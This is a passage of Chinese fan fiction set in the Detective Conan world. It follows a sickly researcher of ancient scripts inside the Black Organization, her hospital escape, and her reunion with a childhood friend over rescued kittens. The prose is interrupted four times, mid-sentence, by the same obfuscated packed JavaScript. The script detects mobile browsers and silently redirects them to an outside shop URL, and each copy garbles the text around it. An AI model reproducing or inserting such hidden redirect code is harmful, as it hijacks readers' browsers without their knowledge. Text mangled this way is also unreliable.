他想找到那个名为“莲佛七叶”黑衣女,得到真正的故事结局。 14.第 14 章 第14章得偿所愿的娜娜姐 雨点敲打车窗,小小的水滴不断汇聚成股流下,在车辆的高速行进状态下,水流不是垂直向下,而是先斜向后方,又改变方向往前。 玻璃渐渐被雾气蒙蔽,视野模糊不清,即使伸手抹了一把车窗,擦出一小片的清晰,外面的世界依然扭曲错乱,而且很远很远,还不断地因为车辆前行,被甩得更远。 万家灯火,车水马龙,往来交织的人群,一朵朵蘑菇似的伞面,路边三五成群比赛吹泡泡的孩子们。 都与她无缘。 随处可见的本田量产车内,蜷在后排、霸占全部三个座位的莲佛七叶偷偷往地毯上拧了半天披肩上的水,差点让突然的减速晃下去。她诧异地问道: “不回公司吗?” 车辆正在驶入一座酒店的地下停车场,这里显然不是他们的公司。 看起来很像个坏人的同事鱼塚没发现或不关心她怎么折腾车,老老实实地摘下寻呼机递给她。 拇指肚大的液晶屏上显示着两行像素字: 【若寻得奥比昂,将其带至杯户城市酒店503客房。】 莲佛七叶举着寻呼机摆弄,没有找到落款,猜了一位她比较喜欢的前辈,高兴起来: “是贝尔摩德姐姐调动回来了吗?” 鱼塚摇头,停好车,要回他的寻呼机,拨开儿童安全锁,给她开了门: “不知道。走吧。” 莲佛七叶扁扁嘴,没考虑从他和车的缝隙之间溜走——以前试过,跑不过他,每次都不到七秒钟就被抓住了,还有个坏人会用超级嘲讽的眼神鄙视她,一副“你这样的弱鸡不配我开口笑话”的架势,特别气。 地下停车场有直接连通客房的电梯,鱼塚把莲佛七叶护送到了503号房间的门口,敲了敲门,主动打招呼汇报来意: “大哥,奥比昂送到了。” 门内传来一道森严冷酷的男声: “进来。” 莲佛七叶脸上的高兴和期待顿时融化流走了,取而代之的是强烈的心虚。她扭头打量着长长的走廊,显然在研究从哪边跑掉的成功率会更高。 鱼塚在她侧后方,位置、距离和动作,可以说是“保护姿态”,也可以说是“监视姿态”,他拧动门把手、向内侧推开门的时候,没有露出以莲佛七叶的身体素质能抓住的破绽。 她只好抱起手臂,臭着脸走进去。鱼塚跟在她后面入室,顺手关门反锁。 谁知里面有两个人,一男一女。 靠外站着的是银灰色超级长的长发的男性,穿着全套黑色系西装,搭配黑礼帽,眼神阴鸷,没在看她,而是在看靠窗侧坐着的那位女性。 女性留着黑色微卷的波波头,蕾丝镂空衬衫,牛仔裤,戴着草帽,烟紫色墨镜挡住半张脸,唇角上方有一颗痣,十分美丽。 她端着高脚杯轻摇手腕,沉在杯底的橄榄随之起舞,面庞朝向窗外,眼神却刺向室内最高的那个人。 莲佛七叶不摆脸色了,放下手臂,几乎做出个与她的实际年龄很是不符的“如燕归巢”动作,总算想起什么似的重新矜持起来,快步走到女性身边半蹲半跪地抱住她的手臂。 女性的红唇弯出好看的弧度,摸了摸这么大了还爱撒娇的女孩儿的头,酒杯下移,随意地放在旁边,腾出手来把她圈到怀里,让她坐在腿上,含着笑意问道: “怎么啦,谁欺负你了么?” 莲佛七叶仿佛身后来了个给她撑腰壮胆的老虎的狐狸,眼珠灵活地瞥了银发男一眼指示方向,谴责的眼神都没落到实处就转回来,依然抱着女性的手臂,哼哼唧唧地抱怨: “贝尔摩德姐姐!你什么时候才调动回来呀?食堂送来的饭变成特别、特别、特别粗粝难吃,我到处打听才知道,琴酒主管开除了以前的厨师,招来的新人简直是从印斯茅斯请来的大师,试图用炸鱼薯条谋杀我!” 贝尔摩德捏了捏她腮边的肉,那种评估小孩子有没有长胖的常见动作。这实在是一项难以完成的任务,因为莲佛七叶的脸瘦得干了,手感也就比解剖室的骨骼模型多了层皮,并没有肉。 冒冷气的骷髅架子坐在怀里撒娇的画面挺难绷的,多亏了贝尔摩德没表现出一点嫌弃,还拉下墨镜,顾盼生辉的蓝眼睛睨视莲佛七叶指控的对象,对话却在与莲佛七叶进行: “是吗?可怜的小鸽子。印斯茅斯在哪里啊?” 莲佛七叶汲取着贝尔摩德身上的温暖。她身上的衣服已经半干了,可湿水后的寒冷始终纠缠着她,从骨髓深处往外冒那种无数芒刺般的针扎感,让她强烈地渴求拥抱热源。 鱼塚桑不行,他是男的。有人教育过她,长大了以后,眼里心里就不能再无男女之分,不可以与异性有过于密切的肢体接触,“挽手臂”“拥抱”“贴贴”都不行。她记住了。很多年以来一直记得。 遭到指责的“人事部门新任主管”琴酒无动于衷,绿色的眼睛里没有半分属于人类的感情,连“回应挑衅”都没有,好像走在路上被蚂蚁踩了一脚的北极熊——话说北极熊能发现它被蚂蚁踩了吗? 莲佛七叶暖和起来,意识慢慢的有些涣散,她嘴里回答着贝尔摩德的问题,头脑运转逐渐罢工: “在阿美莉卡的新英格兰……马赛、马自以、马萨诸塞州……继承了英格兰人的美食文化,加以美式创新,薯条硬得能塞进石头里选出新一代亚瑟王,炸鱼简直是把河里现捞出来ber吧乱蹦的黄尾鲴洗都不洗直接炸了!好难吃啊……” 贝尔摩德笑出声,琴酒嗤之以鼻,另一个存在感非常低的人在忍住笑,她招招手: “伏特加,帮她拿件浴袍,这孩子困得说胡话了。奥比昂,做饭这么难吃的大厨名字叫什么打听到了吗?要不我们下一顿饭把他洗都不洗直接炸了吧?” 干燥馨香的柔软布料罩在身上,环抱住她的女体散发着源源不断的热辐射,莲佛七叶继续往贝尔摩德怀里扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045862|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,含混不清地否决了这项危险的提议: “叫克拉克·亨特,还是尼卡·温斯特·史密斯……?忘了。做饭难吃又不是死罪,别炸他了……想吃唐扬鸡块、天妇罗、油豆腐……” 这家伙报着菜名睡着了。不排除和伏特加与浴袍一起递给贝尔摩德的那块捂住莲佛七叶口鼻的毛巾有关。 贝尔摩德数了数莲佛七叶降到40以下的脉搏,对比她以往的数据,判定这是她深睡眠状态下的正常频次,挑起眉头,问道: “她说的是谁,连代号都没混上的杂鱼么?还是你们让她接触到了不该接触的人?” 琴酒的脸色阴沉,没有回答。伏特加忍不住纠正莲佛七叶的胡说八道: “是‘余市(Nikka)威士忌’!那个来了好几年的大鼻子。以前给她送饭的杂鱼报销了,大哥就让最近一起行动的余市先顶班。奥比昂不认余市,管男的外国人都叫‘史密斯’。克拉克·肯特是超人,她念错了。温斯特不知道是她又从哪里看到了什么联想到的,没有这个人。” 这次琴酒总算开了尊口,皱眉冷对贝尔摩德: “‘温斯特·史密斯’是《1984》里的蠢货,那个蠢货最近在看反乌托邦类型的小说,出逃之前没接触过余市以外的任何新人。这件事我知道了,你不用管了。” 贝尔摩德呵呵轻笑: “那位大人对她手里的新课题颇有兴趣,你们可别在这种时候把她吓死。上次她出的关于‘《松迪亚塔史诗》中水牛女的魔法牛尾巴下落’的分析报告,我们的人查证后,找到一个千年前的人体改造实验室遗址。” 琴酒不耐烦地扯了扯嘴角: “啧,陪这种竟然真的能被吓死的珠颈斑鸠过家家的游戏,也就是她确实还有用了——既然是那位大人的命令,不会有任何问题。伏特加,她去哪里做什么了?” 伏特加适时说出这位时不时就要越狱减压的笼中鸟,这次跑到了一家倒闭书店、还要求搬走所有书的情况。 贝尔摩德蓝色的眼睛中冷光一闪,颔首示意这件事的后续她接手了,书也好、书店也罢,都会以最快的速度得到最妥善的结局。 ****** 莲佛七叶从她位于宿舍的床上醒来,满意地发现了书桌上纸袋里装着的炸物和巧克力蛋糕。都是她喜欢的,但是要遵医嘱不能多吃的好东西。 吃饱喝足,离开卧室,出门刷卡,“滴”声过后,金属门从中间分开,向两旁移动,她走过以后,门又自动闭合。 一箱一箱的大纸箱摆在她的客厅里,封口条上贴心地写着书目类别和书名。 鱼塚桑是个很好说话的好人,拜托他什么小事,他都会很快办完。 真不知道为什么,他在公司里的花名,会是人们印象里最浓最烈的土豆烈酒。难道是因为他长得像个大土豆吗?哈哈大老板可真幽默。 挽起袖子,找拆信刀,愉快的一天就从整理书架开始吧! 15.第 15 章 第15章一日社畜的娜娜姐 濑见家的收藏,有相当一部分,是莲佛七叶不感兴趣的。 不过没关系,万一以后对陌生的学科产生了学习的兴趣呢!先放在不会经常翻阅的书架不会经常看的位置吧,等下次想起来再说。 何况还能当礼物送人,完美√。 她的宿舍里没有计时工具,也没有镜子。由于打她住进来就一直没有,她习以为常,没觉得过哪里奇怪。 一开始在蹦蹦跳跳地爬上爬下,后来逐渐只往头胸腹高度的书架空隙填充,再后来变成了缓慢推箱子。 不知过了多久,她摆完了最后一本书,手臂酸涩难抬,上下眼皮打架。 她没在意,倚靠在梯子上,抽出离她最近的《爱丽丝梦游仙境》,翻到“变大变小蘑菇”的情节,羡慕地看了一遍爱丽丝的奇妙变化,举起自己的手。 不好看。 没有血色的皮肤,早已跌破健康值下限的脂肪含量,清晰无比的青筋血管,几乎能够直接勾勒出形状的骨节,指甲极其薄,半透明,修剪整齐,没有装饰,比起“人类的手”更像鸟类的爪子。 没什么好看的。 她放下手,闭上眼睛,眼前闪回了无数女性的手——比她年长的、与她年岁相仿的、比她年幼的,最后定格在贝尔摩德那双新换了绿底白纹的美甲的手上。 线条流畅优美,骨骼匀称却不显嶙峋,筋骨强韧有力,手掌丰润饱满,肌肤细腻干燥,肤色白皙中透出健康的粉,气血充盈。 她又看了看自己的手。 无论指甲油,还是穿戴式美甲,她都不可以使用。还有其他任何遮挡美化皮肤、掩盖她的实时气色变化的工具,全都不可以。 因为它们会在急救时阻挡延误医生的判断。 健康的女孩子不需要考虑这个,想怎么样就能怎么样。而对她来说,可能一两秒的延误,就意味着这一生“到此为止”。 她捏紧拳头,向空气挥动,干劲满满地轻声嘀咕: “我也是很厉害的啊!咕咕咕!” 空无一人的房间里当然不会有别的东西回应她,过了几秒,她又喃喃自语地回应了上一句话: “是啊。我们猫头鹰就是这样的生物,超级短的幼儿期和老年期,漫长的青壮年时期,一旦受伤生病,就会迅速挂掉,所以整个种族都保持着矫健的风貌。小鸟和人类不一样,超厉害!” 其实和上一句话不能完全衔接,好像有个人在中间插了一句“是啊、娜娜姐可厉害了,是最优秀的小猫头鹰呢”似的。 她没骨头一样从“倚靠梯子”的状态滑到地上,枕着拿在手里的那本书,以头为圆心,在两排书架夹出的有限空间里来回翻滚,滚着滚着,消耗太大,饿了。 饿了就要吃饭,她头晕目眩地爬起来,回卧室去换了一身衣服,刷卡出去走内部通道进公司。 她在一家很有来头的跨国集团的秘密部门工作,走廊的装潢非常有现代科技感,四面金属色的墙壁,两侧踢脚线位置点着无数壁灯。 穿行的时候,完全可以把虚弱的身体,想象成未来世界的拟人型机器人,随时可以变成战斗机那种。 进电梯出电梯,七拐八拐,验证指纹,来到她的办公室。 她的办公室像个迷宫中转站,有好几个门通向不同的分区。 莲佛七叶是一位古文字研究员,负责破译破解公司搞来的各种神秘古籍古物上面的神秘古文神秘代码。 她只负责解读,那些材料怎么来的、干什么用的,没人告诉她,她的精力条也不支持单人探索。 据说她的产出、她的研究成果,能够帮助全世界所有人离死亡更远一步,意义重大深远,有敌对分子搞破坏,所以她必须隐姓埋名、严格保守秘密。 这些都是好理解的部分,不好理解的是公司的企业文化:所有公司成员在公司内,以及内部交谈中,必须使用大boss赋予的代号作为称呼,禁止提及、使用、交换、暗示姓名。 对外则不可以谈论任何公司的事宜。 不过看在公司的医疗部门控制住了她的病情、为其工作的待遇也十分优厚的面子上,宽容大老板的一些奇怪爱好倒也没什么大不了的。 她打开电脑,找到上次初步处理过的古代金属铭文图片,和上一次留下的笔记,发现最后的一行话是: 【讨厌啊清晰度太低了看不懂!不管了去吃饭!】 ……行吧,先去吃饭。 她打内线给食堂,说明诉求。没多久,食堂还是上次新来的那位史密斯大厨送饭。 史密斯大厨脸上有伤,有点不爱说话,放下纸袋就走了。 莲佛七叶的问候被撂在那里,感觉莫名其妙,好在这次的饭不离谱,是火腿三明治+盒装牛奶,吃起来的口感甚至有点像她以前常吃的连锁便利店贩售的那种,真是亲切啊。 吃完饭她继续干活,每到这种时候她都沉浸其中,只要无人打扰,不到身体亮红灯她都意识不到停下来。 于是红灯亮了。 再次醒来的时候,头顶是熟悉的天花板,空气是熟悉的消毒水味,身下是熟悉的病床,身上是熟悉的白床单。 手指外面套着很不舒服的软壳,胸前贴了乱七八糟的很多线,脑袋上也贴了一圈。 左边吊着两个玻璃瓶,混合着透明的和乳白色的营养液。右边吊着两个玻璃瓶,套着黑色的袋子,连输液管都是难看的深棕褐色。 两组液体通过她手上的血管,缓缓流入她的身体里。 好冷呀。 她能感知到手背一边冰冷麻木,凉凉的东西游走在她的血肉之间,一点一滴向着肩膀攀爬,沿途带走她身体里的热量,好像两条食人的细蛇。 旁边的机器发出通电后的轻微嗡鸣声,无数针刀加身的回忆瞬间叠加,又被她极快地驱散:这里不是医院,她现在状态很好,没有强烈的疼痛不适,无需过度检查。 抬眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050708|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透明的玻璃窗对面站着穿白大衣的医药部门同事,每个人都戴着蓝色的圆帽子、白色的棉布口罩,脸上只有眼睛露出一条缝,隔着这么远的距离根本看不清表情神色。 莲佛七叶对着他们招手,过来了一个毫无权限的学徒跟班,什么决定都不能做,什么要求都不敢答应,逼急了直接跪下求她好好接受营养补充、这次她晕倒后的营养检查显示多少多少问题急需纠正。 她并不以他人的痛苦为乐,赶走了这个学徒,不高兴地躺回去,思考怎么让医疗团队放人。 这些人不是改变了她的命运的那对医生夫妇。救命之人早已去世,剩下的这些都是躺在他们的研究成果上面打滚的笨蛋,连给她的治疗方案都沿用医生夫妇生前最后制定的框架。 她不喜欢这些人。 他们隔着窗户看她的时候好像在看砧板上的面团,随便他们揉圆搓扁、煎烤烹炸。 越想越不高兴,躺着又很无聊,她一根根摘掉头上的那堆乱七八糟的线,动作不快,以她丰富的住院经验完全可以判断出情况是否紧急:紧急的话没等揪完就要有人冲进病房阻止她,反之就是默认她可以“擅自离开”。 今天就是可以擅自离开那种。 揪完了头上的线,又一把薅掉胸前的线,一片一片撕掉黏得她很不舒服的贴纸片,拔下两边的注射用软管,跳到地上。 好凉。真讨厌。 手上的针孔滋滋冒血,她懒得理会,从床头桌里翻出她的身份卡,没找到鞋就不找了,直接刷卡出门,回去继续研究古籍。 弯弯曲曲盘虬错节的古文字,比这些用烦人的眼神看着她的同事们可爱一百倍。不,一万倍。 要是她的研究成果真的能造福全世界几十亿人,让所有困于先天病的孩子拿到加入人间的入场券、让所有时不我待的天才多出一点点时间,让所有缘悭一面的朋友获得相识或重逢的机会,她又何必顾惜这具苟延残喘的空蝉? 回办公室的路途畅通无阻,一位熟人都没遇到,大家各司其职,非常好。要是每个人都跟她嘘寒问暖,她还会不好意思又从医疗部门跑路了呢。 赤足行走于未来科技感十足的走廊中,血液顺着手臂流到手背,又从流到指尖,随着她适应地板的温度后,越来越轻快的步伐,甩出了汉塞尔和格莱特留下的面包渣般的路标。 离开类似医院的环境,她的情绪平稳下来,不再愤怒、烦躁、恐惧,总算想起来要去换衣服换鞋。 回宿舍洗手的时候,她才注意到干涸在手背上的血渍,愣了一下,心中涌出一种想要踢某个人的小腿的冲动,好笑地摇头,挥去这个蠢蠢的念头。 掐指一算,他们应该从东都大学毕业一年了。 快要想不起来的久远记忆的深处,他们哭着喊着要去追逐摇滚梦,就消失在了她的未来的时光中,不知道乐队搞得怎么样,也没再得到过后续的消息。 生活又不是电影,怎么可能再相见,哪有那么巧。 16.第 16 章 第16章捡到只猫的娜娜姐 日子一天天的,过得千篇一律,除了史密斯大厨的手艺越来越便利店风格,没有别的变化。 莲佛七叶的时间感不太好,每次翘班跑出去,都像沉睡了一个冬天甚至睡过了头的小熊:睡前万物萧瑟,醒来外面可能谢却海棠尽飞絮,可能万类霜天竞自由。 还有可能像今天这样。 天空中飘着霏霏细雪,她穿着比街边的女孩们厚三层的衣服,冻成了震动模式,简直就是一颗被大风吹得颤抖不休的毛栗子,谁路过都忍不住回头再看一眼。 进入休班、与女友来间娜塔莉一起出来逛街赏雪的伊达航也没能免俗。 来间娜塔莉先发现了那个干枯得几乎看不出性别的骷髅架子,仔细一看,是一位难以分辨年龄的女孩,略有一些眼熟。 一双因为太瘦了显得格外大的眼睛湛然有神,她好奇地伸出手,去接搓绵扯絮似的雪花,六棱的美丽结晶体落在她的指尖和掌心,须臾融化,留下点点水渍,冷得很,赶紧甩掉。 来间娜塔莉扯了扯伊达航的衣服,伊达航顺着她的视线看到了曾有一面之缘就让人印象深刻的报案人,震惊于她居然还有比上次见到时更瘦一圈的余地。 “目光”是有存在感的,有些人即使从背后被人注视也能察觉到,他们两个在当面盯着莲佛七叶,她不可能毫无察觉,不客气地扭头看回去,分辨一下,惊喜道: “噢!是娜娜酱呀,好久不见!还有这位嗯……警官你好!” 会这么称呼她的人只有一个,久远的童年回忆在脑海中复苏,来间娜塔莉想起了这位眼熟的骷髅女是谁,松开挽着伊达航手臂的手,横穿马路过来打量她,脸上也充满了惊喜: “莲佛家的娜娜姐?好久不见!怎么样,我有没有变成大美女呀?” 莲佛七叶高兴地与她双手相握,闻言仔细地打量着金发蓝眼容貌秀丽的来间娜塔莉,用力点头: “你看,我说得没错吧,我们的娜娜酱长大了一定是位大美女!那些胡说八道的癞蛤蟆和猪给你提鞋都不配!” 来间娜塔莉被她的手冰得打了个哆嗦,赶紧把她的鬼爪子捂在掌心揉搓,哈着气增加温度,愉快地和她说笑: “可你当年说的是要和我一起变成大美女,再回去秀他们一脸。怎么如今你……”瘦成了这样? 糟糕,遇到儿时的朋友太高兴,失言了。瘦成这样明显不是单纯的“减肥”所致,当年就在生病的娜娜姐肯定还没有摆脱疾病困扰,提起这个话题实在不应该。 莲佛七叶似乎没察觉到冒犯,她骄傲地昂起头,得意地说: “我这叫‘浩浩乎如冯虚御风,而不知其所止;飘飘乎如遗世独立,羽化而登仙。’嘿嘿,就知道你听不懂,这句话的意思是我快要神功大成、变成猫头鹰飞走啦!” 来间娜塔莉看着她,看到她骨碌碌的大眼睛依然天真,看到落在她帽子顶的装饰物上的雪已经不再融化,积起了薄薄的一层,确实有点像猫头鹰的耳羽。不知为何,她的鼻子有点发酸,笑容也变得勉强: “那当然啦!我是日美混血,怎么可能听得懂你说的别的外语?别以为我忘了你以前用西语冒充古埃及语吓唬那些欺负我的坏孩子,他们到我高中毕业那年还有个头疼脑热长痘痘,就觉得又是你的诅咒生效了呢。” 莲佛七叶笑得更得意了,眼睛狗狗祟祟地指向马路对面的伊达航,八卦的意思写在脸上: “那个警察叫什么来着?上次我有个朋友失踪,报案以后他来了,也交代过名字,但我忘了,有点不好意思再问一遍。” 来间娜塔莉确认她果然和小时候一样心宽,松了口气。 女友没有指示,伊达航站在原地没动,他在回忆上次与莲佛七叶见面的始末——他和他的巡查长接到上级派发的报警通知,赶往濑见书店,报案人一老一小,中间还有具骨头架子,视觉效果十分惊人。 巡查长是成为巡查后十年没有得到晋升的老片儿警积攒年资自动获得的容易称号,日本职场的年功序列遍及各行各业,算上警校培训时期,入职刚刚一年的伊达航,在二十年资以上的老前辈面前,没有任何话语权。 交番总能接到许多警情,抓猫逮狗找小孩、迷路老人求回家、口角打架和醉汉、邻里纠纷、非法入侵、失物招领、自行车失窃…… 都是小事,没有一件不繁琐。巡查长总是支使伊达航忙得团团转,催着他满辖区来回跑,连路边的每一株灌木和行道树都要记住了伊达航这张方正的大脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057393|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巡查长没把这起失踪案当回事,毕竟只是迟到了两个小时,俩大活人呢,随便迷个路逛个街聊个天约个会就不止这么点时间。 不过他也没完全不管,派伊达航去附近可能走错的车站、公交站、歇脚的便利店找人,他则百忙中抽出时间,根据报案人提供的信息,联系机场和机场的值班派出所重新查了一遍航班信息。 查到这一步时天都黑了,还是没找到人。一无所获的巡查长带着无功而返的伊达航,又去了濑见书店,找濑见婆婆补充更多信息,不行就得上报了。 就遇到了濑见婆婆和她的外孙女有说有笑、外孙女的男友帮忙打包行李准备一起搬走的现场。 濑见婆婆谢过两位警察为她家的事费心、原来外孙女和男友是来这边的时候坐错站了,给你们添麻烦了真是不好意思啊…… 这起乌龙失踪案就此告结,巡查长回去以后感慨,果然是闲居老人没事找事,还教育伊达航不要风风火火事事冲在最前。 ——伊达航脑子里想的都是“案情”,“莲佛七叶”在这里起到一个环境描写的作用,毕竟他不太好在女友遇到认识的人的时候自顾自上前刷存在感,又不是什么占有欲过强的控制狂。 来间娜塔莉拉着莲佛七叶的手腕,向他招手。伊达航很快过了马路到两位女孩子身边,笑得有些憨。他的女友介绍道: “娜娜姐,这是我的男友伊达航,在附近当警察,你要是遇到了什么麻烦,找他就好了。阿航,这是和我幼驯染的娜娜姐,是我家门口那座松涛山上的听梵院的莲佛住持的女儿,小时候保护过我很多次,我可喜欢她了。” 一番寒暄,三个人算是互相认识了。伊达航说出了失踪案后续,皆大欢喜值得庆贺。街边聊天太冷,来间娜塔莉要请莲佛七叶吃饭,伊达航体贴地找理由先走一步,让出给她们自在说话的空间。 莲佛七叶想吃不太甜的甜点,来间娜塔莉推荐了一家新开的店,里面的胡萝卜蛋糕和酸奶碗很好吃。 走出去没多远,街边巷子里细弱的婴儿哭声吸引了她们的注意。女孩们拐进巷子,扒拉开雪和垃圾,找到了一个鞋盒,鞋盒里面三只嘤嘤叫的猫崽子,一只已经凉了,两只还活着,不过也快了。 甜品店之行取消,宠物医院走起。 17.第 17 章 第17章狗狗祟祟的娜娜姐 两只小猫的情况非常不好,尽管女孩们紧赶慢赶,可是到宠物医院时,有一只还是失去了呼吸和心跳。 兽医接诊的时候心里就咯噔一下,她凭经验就能判断出小猫的大致情况,但有善心救助路边野猫的人,正因为心地善良,往往很难接受一个弱小可怜的生命死亡的事实。 她三言两语交代了情况,捧着活着的那只小猫去抢救,让两位女士商量怎么处理去世的那两具遗体。 来间娜塔莉非常难过,她自忖无论如何她都比幼驯染更健康,“悲伤”不能打倒她,娜娜姐可不一定,于是忍住泪意,红着眼圈担忧地看向莲佛七叶。 出乎她的意料,莲佛七叶比她可冷静多了——这位姐姐一眼都没有扫向同时充当了小房子和棺材的鞋盒,目光专注地盯着兽医抱着活的小猫进去的那个房间。 来间娜塔莉一开始以为莲佛七叶是不忍心,伸出手去,意思是如果支撑不住可以握住她的手。 莲佛七叶回过头来,满眼茫然之色,半蹲下去,把下巴搁在了她的掌心,歪着头看她。 ? 很可爱,但是这不对吧! 来间娜塔莉叹了口气,戳别人痛楚肯定不对,娜娜姐把她闹糊涂了,现在她不太确定娜娜姐是因为太难过了而刻意回避了小猫的不幸,还是分别以后的这些年性情大变。 莲佛七叶站直身体,轻轻问她: “怎么啦,叹什么气?” 与她们共处一室的死亡实在太沉重,来间娜塔莉的声音也被压得很轻: “娜娜姐在想什么?” 莲佛七叶回答得很快,说明她没有思考,想到哪句说哪句: “在给小猫取名。原本想了两个,‘哆啦A梦’和‘野比大雄’,现在只剩一个了,两个名字就不合适了。新名字叫什么呢……?” 娜娜姐看起来一切正常,然而来间娜塔莉的第六感在疯狂报警,背后寒毛直竖,肯定有哪里不对。到底是哪里不对? 来间娜塔莉保持着语气的平静,闲话家常一般,问起她刚才怕伤害到娜娜姐没敢问的、很现实的问题: “那两个。我们怎么办?” 她的视线指示着诊室办公桌上的鞋盒,莲佛七叶看过去的时候好像在看街边的木头石头,不带半分感情,语气是真的平静: “算生物垃圾?我也不知道该怎么分类,宠物医院处理这些应该是专业的吧。” 不是这样的。这不是重点。来间娜塔莉有点莫名的烦躁,她想要重新组织语言表达她的意思,表现在外的欲言又止被莲佛七叶理解成了别的意思,久别重逢的发小姐姐恍然大悟: “娜娜酱想要收藏标本?我认识一位标本师,是我的笔友,要帮你联系她吗?” 来间娜塔莉被她问得愣住了,娜娜姐比起小时候,对“死亡”呈现出一种非常轻、呃……非常异于常人的态度。她忘了难过也忘了质疑,直直地注视着莲佛七叶的眼睛,震惊地反问道: “你是怎么想到标本的?” 莲佛七叶笑了起来,用理所当然的语气说着匪夷所思的话: “我以前的医疗团队里的专家说,我是世间仅此一份的珍贵之物,等死了以后肯定要被做成标本。谁知倒是他先死了,遗体捐献给了他的母校,作为‘老年男性骨骼’和‘衰老状态的器官’,分别被好几个办公室珍藏呢。” 听起来竟然有几分羡慕。不管羡慕的是什么,都太诡异了。 来间娜塔莉打了个寒颤,怔怔无言。莲佛七叶显然从她的沉默里意识到了自己说错了话,可她不知道哪句是错的,结合过往人生的浅薄经验,笨拙地试探: “娜娜酱、在不高兴?是因为我提到了‘我死了以后’这个词……?” ——别这样小心翼翼啊。你又没做错什么。 来间娜塔莉看着莲佛七叶脸上一半懵懂一半忐忑的表情,抱住十几年丝毫没变的幼驯染,控制不住地失声痛哭。 她小时候,附近的老人提起莲佛七叶,都在说她是莲佛住持夫妇收养的又一个弃婴。话里话外带着“女学生厕所产子后抛弃”的那种带颜色的谣言风格。 来间娜塔莉听当事人说过真相: 娜娜姐是莲佛家的的厄除养子,她自幼多病,父母想尽办法都不能改变她早夭的命运,无奈让她舍身出家,把她拜托给了出身净土宗家传寺庙的好友,从此改名换姓,与旧家旧人切断关系与缘分,盼望她能够得到新生。 那是姐妹间临别前的悄悄话,第二天莲佛七叶就去外地治病了。她们说完很普通地说完“再见”,很普通地各回各家,然后音讯不同十年有余,直到今天。 小时候不懂事,不知道“再见”和“再见”亦有能不能再见到的区别。长大成人以后,烦恼成倍地增加,“不懂事”却俨然成了上天的恩赐了。 前因后果不难理解。莲佛七叶自幼与死亡为伴,又没怎么接触过正常的社会和正常的人生,形成了她独有的生死观,在不明真相的人面前随意说话就会具有巨大的冲击力。 怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069278|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的骷髅架子安安静静地没有说话,等到来间娜塔莉收拾好了情绪,从来都像个小妹妹的姐姐有模有样地拍拍她的背,递给她几张刚从办公桌上抽出的纸巾,嫌弃地揶揄道: “鼻涕眼泪擦了我一身——” 来间娜塔莉大惊,胡乱在脸上抹了一把,摸到的只有眼泪,再看莲佛七叶欠欠的表情,明白过来,被她忽悠了。一时又好气又好笑,什么伤心难过都抛到了九霄云外,不客气地揭她老底: “有人去地里挖花土,四体不勤五谷不分,挖到了蚂蚁窝,被爬到手臂上的蚂蚁吓到唔唔唔……” 莲佛七叶捂着她的嘴,加大了声音: “小猫的名字我想好了!叫‘74’!好听吧?” 来间娜塔莉奇道: “‘无名氏(名無し,nanashi)?这算什么名字?’” 莲佛七叶把头摇成了拨浪鼓,认真地在她手心里写下两个数字,纠正同音字产生的误解: “今天是4号,为了纪念两个娜娜的重逢,叫‘74’是不是合理又好听?” 来间娜塔莉勉强被她说服了,过了一会儿兽医出来,和她们交代幸存小猫的病情:那孩子命大,除了失温和饥饿没别的毛病,正在复温和喂食,最好留院观察几天看看情况。 来间娜塔莉认真地出钱和拜托了宠物医院安置另外的两只小猫。 莲佛七叶虽然觉得死后无知、活人怎么对待尸体都是自我感动和表演给其他活人看,到底尊重了幼驯染的心意,沉静地诵了几段往生经,以解来间娜塔莉的忧伤。 曾经玩得很熟,小习惯小心思瞒不过对方。她怎么想,来间娜塔莉都知道,既感激她的体贴,又感慨她再怎么长不大究竟也长大了。 莲佛七叶住单位宿舍,不方便养宠物,来间娜塔莉收养了74酱。她还是对音同“无名氏”的名字颇有微词,登记注册的时候,敲诈了莲佛七叶一顿饭。 